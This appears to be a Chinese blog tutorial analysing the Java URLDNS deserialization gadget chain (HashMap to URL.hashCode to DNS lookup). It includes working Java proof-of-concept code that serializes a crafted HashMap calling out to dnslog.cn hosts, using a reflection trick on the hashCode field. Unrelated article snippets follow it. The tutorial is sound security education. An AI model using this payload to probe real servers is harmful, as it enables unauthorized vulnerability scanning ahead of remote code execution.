Java代码审计13之URLDNS链
文章目录
- 1、简介urldns链
- 2、hashmap与url类的分析
- 2.1、Hashmap类readObject方法的跟进
- 2.2、URL类hashcode方法的跟进
- 2.3、InetAddress类的getByName方法
- 3、整个链路的分析
- 3.1、整理上述的思路
- 3.2、一些疑问的测试
- 3.3、hashmap的put方法分析
- 3.4、反射
- 3.5、整个代码
- 4、补充说明
1、简介urldns链
URLDNS链是java原生态的一条利用链,通常用于存在反序列化漏洞进行验证的,因为是原生态,不存在什么版本限制。HashMap结合URL触发DNS检查的思路。在实际过程中可以首先通过这个去判断服务器是否使用了readObject()以及能否执行。之后再用各种gadget去尝试试RCE。HashMap最早出现在JDK 1.2中,底层基于散列算法实现。而正是因为在HashMap中,Entry的存放位置是根据Key的Hash值来计算,然后存放到数组中的。所以对于同一个Key,在不同的JVM实现中计算得出的Hash值可能是不同的。因此,HashMap实现了自己的writeObject和readObject方法。因为是研究反序列化问题,所以我们来看一下它的readObject方法
2、hashmap与url类的分析
2.1、Hashmap类readObject方法的跟进
新建一个文件,写一个Hashmap,跟进去,
找到Hashmap的readObject方法,该方法会在Hashmap类反序列化的时候自动调用,之前我们反序列化漏洞的demo代码就是重写这个类造成的,
继续向下,有一个hash(key)方法,先不管这个“key”,跟进去看看hash方法的内容,
从这个参数定义,可以知道这个key是一个对象,当key不为空的情况下,就会调用key这个对象的hashcode方法,所以这个hashcode函数具体是哪个函数,取决于传入哪个对象
这里小结下先,Hashmap.readObject -- HashMap.hash -- 传入对象得.hashCode
2.2、URL类hashcode方法的跟进
继续新建一个url类,跟进去,也有一个hashcode方法,看下内容
当hashcode不等于 -1 的时候,直接返回hashcode的值,结束本函数,跟一下hashcode变量,发现其默认值为“-1”也就是,默认情况下会继续向下执行,不会直接返回hashcode的值,
这里比较重要,敲黑板
我们继续看下855行的代码“hashCode(this)”看到这个“this”是一个url,而359行的getHostAddress函数要去解析这个url,
继续跟进去看下,这个主要就是调用了InetAddress类的getByName方法,InetAddress类的getByName方法的作用是,传入host解析IP,返回ip传入ip,则返回Ip
这里继续小结下,URL.hashcode -- URLStreamHandler.hashCode --> --> URLStreamHandler.getHostAddress -- InetAddress.getByName
2.3、InetAddress类的getByName方法
我们来一个InetAddress类的getByName方法的demo
当我们不传递域名,而是直接传递IP呢看到是直接返回了IP
继续,传一个错误的IP,会直接报错,
小结,
传入域名会解析其对应的IP,我们可以在dns的解析记录找到,但是假设传入是IP,则没有地方可以找到受害者的解析记录(这里各位有看法,欢迎补充)
代码,
package com.example.demo2;import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.net.InetAddress;
import java.net.UnknownHostException;
public class main {public static void main(String[] args) throws Exception {try {InetAddress address = InetAddress.getByName("www.baidu.com");System.out.println("IP地址: " + address.getHostAddress());} catch (UnknownHostException e) {e.printStackTrace();}
3、整个链路的分析
3.1、整理上述的思路
由上面总结就可以知道,Hashmap类在反序列化的时候,会调用传入对象的hashcode方法。而url类的hashcode方法会解析dns对应的IP;所以整个链接就是,
Hashmap.readObject -- HashMap.hash -->--> URL.hashcode(传入对象) --> URLStreamHandler.hashCode -->--> URLStreamHandler.getHostAddress -- InetAddress.getByName
由上面的结果推导出,最常见的触发demo代码,
package com.example.demo2;import java.net.MalformedURLException;import java.net.URL;import java.util.HashMap;public class dns_hashmap {public static void main(String[] args) throws MalformedURLException {HashMap<URL,Integer> hashmap = new HashMap<>();URL url = new URL("http://dd.l3eqkh.dnslog.cn/aa");System.out.println(url);System.out.println(url.getClass());hashmap.put(url,2);}}
根据上边的“2.3得”分析,我们知道传入ip的话,会直接返回ip,不会请求,传入域名的话,会有一个请求域名解析对应IP的情况;这个demo代码也测试了下,情况和上边的一样(这也有点多余,本质上层也是调用的底层;但是觉得还是有可能,还是试了试)
3.2、一些疑问的测试
这里还一个疑问是,10行的url是什么类型,他的值是什么,经过输出,这个url是一个类,其值就是一个“字符串”,但是不能直接在put方法的第一个参数传入一个字符串,原因在右边的图,这个key的值是Object类型的(Object是Java所有类的根类;class java.net.URL可以说是其子类)假设传入的url是一个字符串会直接报错,这就不演示了
3.3、hashmap的put方法分析
简单的跟一下就明白,这个key就是上边的url类,内容是定义url类构造方法定义的url到下图的339行,就调用了url的hashcode方法,进而会解析传入域名对应的ip,
3.4、反射
一个问题是,我们在序列化的过程中,会因为执行put方法,进而去解析一边域名对应的ip,这样后续的反序列化就不会再次触发解析请求了(会直接读取序列化过程的缓存)
ps:
其实不用反序列化,下边的demo代码,多次执行的化,也仅仅在第一次有请求,原因同上。
代码,
package com.example.demo2;import java.io.FileNotFoundException;import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.net.MalformedURLException;import java.net.URL;import java.util.HashMap;public class dns_hashmap {public static void main(String[] args) throws IOException {HashMap<URL,Integer> hashmap = new HashMap<>();URL url = new URL("http://ee11.n5hfdu.dnslog.cn/aa");System.out.println(url);System.out.println(url.getClass());hashmap.put(url,2);Serialize(hashmap);}private static void Serialize(Object obj) throws IOException {ObjectOutputStream InputStream = new ObjectOutputStream(new FileOutputStream("ser.txt"));InputStream.writeObject(obj);InputStream.close();}}
为了不让java程序在序列化的过程去解析域名,仅仅在反序列化的时候解析,我们可以通过反射技术来实现。具体而言,就是在上述“2.2”的分析中,我们说“当hashcode不等于 -1 的时候,直接返回hashcode的值”不会继续向下执行域名解析而hashcode默认又是-1,所以可以通过反射给hashcode变量设置一个不为“-1”的任意值,即可让代码在序列化的时候,不继续执行域名的解析。
具体代码如下:
HashMap<URL,Integer> hashmap =new HashMap<>();URL url = new URL("http://a.9v0wib.dnslog.cn");Class c = url.getClass();、、获取URL类,这里是根据已经实例化的url对象获取,保存到c中。、、具体来说,c是URL类的Class对象。Field fieldhashcode=c.getDeclaredField("hashCode");、、获取url类中对应的hashcode函数,保存到fieldhashcode中。、、具体来说,fieldhashcode是一个Field对象,它代表了URL类中名为"hashCode"的字段fieldhashcode.setAccessible(true);、、需要修改的hashcode变量是私有的(默认不可访问),设置Field对象的可访问性为true,就可以修改了fieldhashcode.set(url,222); 、、将hashcode的值由默认的“-1”改为任意值,这里是222、、这样第一次运行的时候,就不会解析传入域名的ip了hashmap.put(url,2);、、正常需要触发的函数,fieldhashcode.set(url,-1);、、在反序列化之前,在次将上边修改的hashcode值恢复默认,让其在反序列化时再次触发域名解析Serialize(hashmap);
3.5、整个代码
先把24行的反序列化注释,第一次运行就是序列化生成“ser.txt”文件;此时不会产生dns记录,再把12~22注释,24行反序列化解开,第二次运行,反序列化执行,解析域名产生记录,
package com.example.demo2;import java.io.*;import java.lang.reflect.Field;import java.net.MalformedURLException;import java.net.URL;import java.util.HashMap;public class dns_hashmap {public static void main(String[] args) throws Exception {HashMap<URL,Integer> hashmap =new HashMap<>();URL url = new URL("http://a.9v0wib.dnslog.cn");Class c = url.getClass();Field fieldhashcode=c.getDeclaredField("hashCode");fieldhashcode.setAccessible(true);fieldhashcode.set(url,222); //第一次查询的时候会进行缓存,所以让它不等于-1hashmap.put(url,2);fieldhashcode.set(url,-1); //让它等于-1 就是在反序列化的时候等于-1 执行dns查询Serialize(hashmap);// unserialize();}private static void Serialize(Object obj) throws IOException {ObjectOutputStream InputStream = new ObjectOutputStream(new FileOutputStream("ser.txt"));InputStream.writeObject(obj);InputStream.close();}public static void unserialize() throws IOException, ClassNotFoundException{ObjectInputStream ois = new ObjectInputStream(new FileInputStream("ser.txt"));ois.readObject();ois.close();}}
4、补充说明
URLDNS是ysoserial中一个利用链的名字,但准确来说,这个其实不能称作“利⽤链”。因为其参数不是⼀个可以“利⽤”的命令,⽽仅为⼀个URL,其能触发的结果也不是命令执⾏,⽽是⼀次DNS请求。但是它有以下优点:使用Java内置的类构造,对第三方库没有依赖在目标没有回显的时候,能够通过DNS来判断是否存在反序列化漏洞我们可以通过这条链很容易判断是否存在反序列化漏洞,然后再去寻找可以命令执行的利用链
相关文章:
Java代码审计13之URLDNS链
文章目录 1、简介urldns链2、hashmap与url类的分析2.1、Hashmap类readObject方法的跟进2.2、URL类hashcode方法的跟进2.3、InetAddress类的getByName方法 3、整个链路的分析3.1、整理上述的思路3.2、一些疑问的测试3.3、hashmap的put方法分析3.4、反射3.5、整个代码 4、补充说明…...
区间预测 | MATLAB实现QRBiGRU双向门控循环单元分位数回归时间序列区间预测
区间预测 | MATLAB实现QRBiGRU双向门控循环单元分位数回归时间序列区间预测 目录 区间预测 | MATLAB实现QRBiGRU双向门控循环单元分位数回归时间序列区间预测效果一览基本介绍模型描述程序设计参考资料 效果一览 基本介绍 MATLAB实现QRBiGRU双向门控循环单元分位数回归时间序列…...
Python面向对象植物大战僵尸
先来一波效果图 来看看如何设计游戏架构 import sysimport pygameclass BaseSprite(pygame.sprite.Sprite):def __init__(self, name):super().__init__()self.image pygame.image.load(name)self.rect self.image.get_rect()class AnimateSprite(BaseSprite):def __init__(…...
大屏模板,增加自适应(包含websocket)
1、简单的Node服务端 const WebSocket require(ws);// 创建 WebSocket 服务器 const wss new WebSocket.Server({ port: 8888 });const getHeader (protocol) > {const protocolArr protocol.split(,)const headers {};for (let i 0; i < protocolArr.length; i …...
电商系统架构设计系列(九):如何规划和设计分库分表?
上篇文章中,我给你留了一个思考题:分库分表该如何设计? 今天这篇文章,我们来聊一下如何规划和设计分库分表,以及要考虑哪些问题。 引言 当要解决海量数据的问题,就必须要用到分布式的存储集群了ÿ…...
从Web 2.0到Web 3.0,互联网有哪些变革?
文章目录 Web 2.0时代:用户参与和社交互动Web 3.0时代:语义化和智能化影响和展望 🎉欢迎来到Java学习路线专栏~从Web 2.0到Web 3.0,互联网有哪些变革? ☆* o(≧▽≦)o *☆嗨~我是IT陈寒🍹✨博客主页&#x…...
QT中资源文件resourcefile的使用,使用API完成页面布局
QT中资源文件resourcefile的使用 之前添加图标的方法使用资源文件的方法创建资源文件资源文件添加前缀资源文件添加资源使用资源文件中的资源 使用API完成布局使用QHBoxLayout完成水平布局使用QVBoxLayout完成垂直布局使用QGridLayout完成网格布局 在Qt中引入资源文件好处在于他…...
2337. 移动片段得到字符串
题目描述: 给你两个字符串 start 和 target ,长度均为 n 。每个字符串 仅 由字符 ‘L’、‘R’ 和 ‘_’ 组成,其中: 字符 ‘L’ 和 ‘R’ 表示片段,其中片段 ‘L’ 只有在其左侧直接存在一个 空位 时才能向 左 移动&a…...
Java并发编程第5讲——volatile关键字(万字详解)
volatile关键字大家并不陌生,尤其是在面试的时候,它被称为“轻量级的synchronized”。但是它并不容易完全被正确的理解,以至于很多程序员都不习惯去用它,处理并发问题的时候一律使用“万能”的sychronized来解决,然而如…...
6.小程序api分类
事件监听 以on开头,监听某个事件触发,例如:wx.WindowResize事件 同步 以Sync结尾的是同步,可以通过函数返回值直接获取,例如:wx.setStorageSync 异步 需要通过函数接收调用结果,例如&#…...
什么是PPS和TOD时序?授时防护设备是什么?
介绍 PPS和TOD PPS和TOD是两种用于精确时间同步的技术,它们在许多领域都有广泛的应用,总的来说,PPS和TOD被广泛应用于各种需要高度精确时间同步的领域,包括通信、测量、测试、系统集成和计算机网络等。 一、PPS PPS(…...
推荐一款好用的开源视频播放器(免费无广告)
mpv是一个自由开源的媒体播放器,它支持多种音频和视频格式,并且具有高度可定制性。mpv的设计理念是简洁、高效和功能强大。 软件特点: 1. 开源、跨平台。可以在Windows\Linux\MacOS\BSD等系统上使用,完全免费无广告。Windows版解压…...
STM32 CubeMX (第三步Freertos中断管理和软件定时)
STM32 CubeMX STM32 CubeMX (第三步Freertos中断管理和软件定时) STM32 CubeMX一、STM32 CubeMX设置时钟配置HAL时基选择TIM1(不要选择滴答定时器;滴答定时器留给OS系统做时基)使用STM32 CubeMX 库,配置Fre…...
Java虚拟机(JVM):堆溢出
一、概念 Java堆溢出(Java Heap Overflow)是指在Java程序中,当创建对象时,无法分配足够的内存空间来存储对象,导致堆内存溢出的情况。 Java堆是Java虚拟机中用于存储对象的一块内存区域。当程序创建对象时,…...
C语言,Linux,静态库编写方法,makefile与shell脚本的关系。
静态库编写: 编写.o文件gcc -c(小写) seqlist.c(需要和头文件、main.c文件在同一文件目录下) libs.a->去掉lib与.a剩下的为库的名称‘s’。 -ls是指库名为s。 -L库的路径。 makefile文件编写: CFLAGS-Wall -O2 -g -I ./inc/ LDFLAGS-L./lib/ -l…...
Php“牵手”淘宝商品详情页数据采集方法,淘宝API接口申请指南
淘宝天猫详情接口 API 是开放平台提供的一种 API 接口,它可以帮助开发者获取商品的详细信息,包括商品的标题、描述、图片等信息。在电商平台的开发中,详情接口API是非常常用的 API,因此本文将详细介绍详情接口 API 的使用。 一、…...
如何使用CSS实现一个全屏滚动效果(Fullpage Scroll)?
聚沙成塔每天进步一点点 ⭐ 专栏简介⭐ 实现全屏滚动效果的CSS和JavaScript示例⭐ HTML 结构⭐ CSS 样式 (styles.css)⭐ JavaScript 代码 (script.js)⭐ 实现说明⭐ 写在最后 ⭐ 专栏简介 前端入门之旅:探索Web开发的奇妙世界 记得点击上方或者右侧链接订阅本专栏哦…...
Docker之Compose
目录 前言 1.1Docker Swarm与Docker Compose 1.1.1Docker Swarm 1.1.2Docker Compose 1.1.2.1 三层容器 编辑 二、YAML 2.1YAML概述 2.2注意事项 2.3Docker Compose 环境安装 2.3.1下载 三、Docker-Compose配置常用字段 四、Docker-compose常用命令 五、Docker…...
安装chromedriver 115,对应chrome版本115(经检验,116也可以使用)
目录 1. 查看Chrome浏览器的版本2. 找到对应的chromedriver3. 安装ChromeDriver 1. 查看Chrome浏览器的版本 点进这个网站查看:chrome://settings/help (真是的,上一秒还是115版本,更新后就是116版本了,好在chromedi…...
排序算法:插入排序
插入排序的思想非常简单,生活中有一个很常见的场景:在打扑克牌时,我们一边抓牌一边给扑克牌排序,每次摸一张牌,就将它插入手上已有的牌中合适的位置,逐渐完成整个排序。 插入排序有两种写法: 交…...
掌握AI助手的魔法工具:解密Prompt(提示)在AIGC时代的应用「上篇」
在当今的AIGC时代,我们面临着越来越多的人工智能技术和应用。其中一个引人注目的工具就是Prompt(提示)。它就像是一种魔法,可以让我们与AI助手进行更加互动和有针对性的对话。那么,让我们一起来了解一下Prompt…...
JMeter - 接口压力测试工具简单使用
【启动前配置】 启动JMeter前可以先配置语言和编码: 修改:E:\JMeter\apache-jmeter-5.5\bin\jmeter.properties文件中: 1.language=en # 指定语言 language=zh_CN 2.sampleresult.default.encoding=ISO-8859-1 # 指定编码 UTF-8 sampleresult.default.encoding=UTF-8 也…...
【C++入门到精通】C++入门 —— priority_queue(STL)优先队列
阅读导航 前言一、priority_queue简介1. 概念2. 特点 二、priority_queue使用1. 基本操作2. 底层结构 三、priority_queue模拟实现⭕ C代码⭕priority_queue中的仿函数 总结温馨提示 前言 ⭕文章绑定了VS平台下std::priority_queue的源码,大家可以下载了解一下&…...
静态代码扫描工具 Sonar 配置及使用
概览 Sonar 是一个用于代码质量管理的开放平台。通过插件机制,Sonar 可以集成不同的测试工具,代码分析工具,以及持续集成工具。与持续集成工具(例如 Hudson/Jenkins 等)不同,Sonar 并不是简单地把不同的代…...
docker 03(docker 容器的数据卷)
一、数据卷的概念和作用 删除后,数据也没了。 不能 数据卷 是宿主机中的一个目录或文件当容器目录和数据卷目录绑定后,对方的修改会立即同步一个数据卷可以被多个容器同时挂载 作用: 容器数据持久化 外部机器和容器间接通信 容器之间数据交换…...
【04】基础知识:typescript中的类
一、es5 对象 1、定义 类(对象) 原型链上的属性和方法会被多个实例共享。构造函数中的属性和方法不会。 // 自定义构造函数 function Person(name, age) {this.name namethis.age agethis.getInfo function() {console.log(${this.name} - ${this.…...
CCClippingNode:在游戏中实现遮罩效果、剪切效果,以涂抹糖霜为例,如何更好的实现涂抹效果,提高用户的游戏体验
CCClippingNode:在游戏中实现遮罩效果、剪切效果,以涂抹糖霜为例,如何更好的实现涂抹效果 设备/引擎:Mac(11.6)/cocos2d-x 开发工具:Xcode(13.0) 开发需求:…...
cuda gdb调试
如果cudaDeviceEnablePeerAccess函数不支持或不起作用,您仍然可以尝试其他方法来实现GPU之间的数据交换和通信。以下是一些替代方法: 通过主机内存进行数据传输: 如果GPU之间的数据交换不是非常频繁,您可以将数据从一个GPU复制到…...
【vim 学习系列文章 5 - cscope 过滤掉某些目录】
文章目录 cscope 过滤目录介绍 cscope 过滤目录介绍 第一步创建自己的cscope脚本~/.local/bin/cscope.sh,如下: function my_cscope() {CODE_PATHpwdecho "$CODE_PATH"echo "start cscope...."if [ ! -f "$CODE_PATH/cscope.…...
实验三 HBase1.2.6安装及配置
系列文章目录 文章目录 系列文章目录前言一、HBase1.2.6的安装二、HBase1.2.6的配置2.1 单机模式配置2.2 伪分布式模式配置 总结参考 前言 在安装HBase1.2.6之前,需要安装好hadoop2.7.6。 本篇文章参考:HBase2.2.2安装和编程实践指南 一、HBase1.2.6的安…...
cc后缀网站/微信crm
Java中的泛型,本质上来说,就是是参数化类型,就是说所操作的数据类型被指定为一个参数,而不是确定的某种类型。这种数据类型可以用在类、接口和方法创建中。即泛型类、泛型接口、泛型方法。这样说可能不够生动,来举些例…...
wordpress导出图片/南京网站设计优化公司
#Html今日学习内容这是第一次#x{width: 100px;height: 400px;}#f{width: 100px;height:50px;}.bordered {border-style:solid;color:red;}.yoxixi {color:red;text-decoration:underline;font-weight:bold;}锚点标题一我很快乐,我很喜欢,很愉悦。标题二我…...
51软件测试网站/广告设计自学教程
在 Windows Vista and Windows 7上, 启动ARM-Cortex-A8_RTSM 平台下的debug配置可能会导致如下错误:DS-5 Debugger 的debug 会话使用telnet(不是串行连接)控制你的计算机连接到RTSM。这个错误发生在: 当你试图从debugger 连接到R…...
网站 申请/知乎推广合作
今天我们来聊点接地气的话题,比如关心一下粮食和蔬菜。这就不得不提到中国人最不容置喙的种族天赋,那就是种地!种地,让我们充满了想象力。有条件要种,没有条件创造条件也要种:种地,让我们团结一…...
自制微信小程序预约/许昌网站seo
首先询问对方数据库的表空间名称和大小,然后在你的oracle中建立相应表空间,最后使用命令导入、导出数据。补充:1.要新建一个数据库; Oracle数据导入导出imp/exp就相当于oracle数据还原与备份。exp命令可 以把数据从远程数据库服务…...
做网站收入太低/焦作网络推广哪家好
操作系统——文件系统基础 文件概念 文件 文件(File)是以计算机硬盘为载体的存储在计算机上的信息集合,可以是文本文档、图片、程序等,系统运行时,计算机以进程为基本单位进行资源的调度和分配,而用户在…...